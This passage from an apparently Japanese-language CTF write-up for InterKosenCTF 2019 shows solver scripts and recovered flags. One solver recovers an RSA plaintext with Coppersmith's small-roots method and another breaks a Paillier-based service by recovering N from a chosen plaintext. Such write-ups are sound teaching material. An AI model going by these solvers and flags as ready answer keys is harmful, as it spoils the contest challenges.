N = 11854673881335985163635072085250462726008700043680492953159905880499045049107244300920837378010293967634187346804588819510452454716310449345364124188546434429828696164683059829613371961906369413632824692460386596396440796094037982036847106649198539914928384344336740248673132551761630930934635177708846275801812766262866211038764067901005598991645254669383536667044207899696798812651232711727007656913524974796752223388636251060509176811628992340395409667867485276506854748446486284884567941298744325375140225629065871881284670017042580911891049944582878712176067643299536863795670582466013430445062571854275812914317
e = 5
c = 4463634440284027456262787412050107955746015405738173339169842084094411947848024686618605435207920428398544523395749856128886621999609050969517923590260498735658605434612437570340238503179473934990935761387562516430309061482070214173153260521746487974982738771243619694317033056927553253615957773428298050465636465111581387005937843088303377810901324355859871291148445415087062981636966504953157489531400811741347386262410364012023870718810153108997879632008454853198551879739602978644245278315624539189505388294856981934616914835545783613517326663771942178964492093094767168721842335827464550361019195804098479315147

m = bytes_to_long("Yukko the ESPer: My amazing ESP can help you to get the flag! -----> KosenCTF{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
P.<x> = PolynomialRing(Zmod(N), implementation='NTL')
f = (m + x)^e - c
roots = f.small_roots(epsilon=1/30)
print(long_to_bytes(m+roots[0]))
> sage partial_msg.sage
Yukko the ESPer: My amazing ESP can help you to get the flag! -----> KosenCTF{H0R1_Yukk0_1s_th3_ESP3r_QUEEN}

KosenCTF{H0R1_Yukk0_1s_th3_ESP3r_QUEEN}

このもんだいすき

pascal homomorphicity [hard, 333pts, 20solved]

nc pwn.kosenctf.com 8002

service.py

from secrets import flag
from Crypto.Util.number import getStrongPrime

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q

key = int.from_bytes(flag, "big")
c = pow(1 + n, key, n * n)

print("I encrypted my secret!!!", flush=True)
print(c, flush=True)

# receive plaintext
print(
    "I encrypt your message ;)",
    flush=True,
)

while True:
    plaintext = input("> ")
    m = int(plaintext)
    
    # check plaintext
    if m.bit_length() < key.bit_length():
        print(
            "[!]Your plaintext is too weak. At least {} bits long plaintext is required.".format(
                key.bit_length()
            ),
            flush=True,
        )
        continue
        
    # encrypt
    c = pow(1 + n, m, n * n)

    # output
    print("Thanks. This is your secret message.", flush=True)
    print(c, flush=True)
> nc pwn.kosenctf.com 8002
I encrypted my secret!!!
1262857578229849625592543029547547796770030710051239261336994523314619001742667541252815623550770135660912680908941505783985012435631082810136219805264693165701250029504073696358672069220281716653558838458149022732337356864441375498164600804134428326880233128927480019870218798012927966462425363014820830186607030485735872606434690678775788458188765641673812991171735274337232827979297766034220993137996691251201406709068956
I encrypt your message ;)
> 1127
[!]Your plaintext is too weak. At least 383 bits long plaintext is required.

アプローチ:Paillier暗号の性質を利用する

pascal + 準同型 ということはPaillier暗号ですね.
Paillier暗号は次の性質が成り立つことを利用しています.


{(1+N)}^{M} \equiv 1 + MN \bmod {N}^{2}

つまり M, Nのどちらかが不明な場合でも,右辺から1を引いて Mで割れば N Nで割れば Mが分かります.

ここでもう一度service.pyを確認してみると

Secret \equiv {(1 + N)}^{KEY} \bmod {N}^{2}

Encrypt\_Msg \equiv {(1 + N)}^{INPUT} \bmod {N}^{2}

となっています.

したがって, Encrypt\_Msg INPUTから N求めることで Secret Nから KEYを求めることができます.

以下がソルバになります.

from Crypto.Util.number import getPrime, long_to_bytes

secret = 1761936486623756335852108882692115588477115971162337998137481347057121324806922005277706292815229546031033439042215524499713873642542521729509682838646308703023063479677737439256444162084598201363736124334661404002715959496797879169656117447146787541229250196232968651612605305211318384064862196982673609075930605769729339062400348479556886544573256607504296732785505715594857057058398721137526234772018747830391939883909096
my_msg = 2519069992930202561931503452746462101247553844641202040232365459465067044913573911051697429207935426241669305018380744147
encrypt_msg = 382276127748490868856542238238127120947422793888757155446115331235234982574827621504562354440004831537501251577850463534093807405851598384642100935207529193338262632938489660750686993321476287085442753652605547721366210308666016137479036099160497741071321817122420507113954954995393919509472485719868161572146380050490941445127612251774032766887253059165999633506354414961263521106621530076380278080560215657614094585185611450634

N = (encrypt_msg - 1) // my_msg
key = (secret - 1) // N

print(long_to_bytes(key))
> python solve.py
b'KosenCTF{Th15_15_t00_we4k_p41ll1er_crypt05y5tem}'

KosenCTF{Th15_15_t00_we4k_p41ll1er_crypt05y5tem}

Survey

Survey [warmup, 212pts, 77solved]

Please give us your feedback here.

アプローチ:アンケートに答える

KosenCTF{th4nk_y0u_f0r_pl4y1ng_InterKosenCTF_2019}

まとめ

  • 全体的に面白い問題が多くて楽しめました
  • 初心者になれるようにがんばります
  • Pwn, Web ナ〜

f:id:satto1237:20190814021339p:plain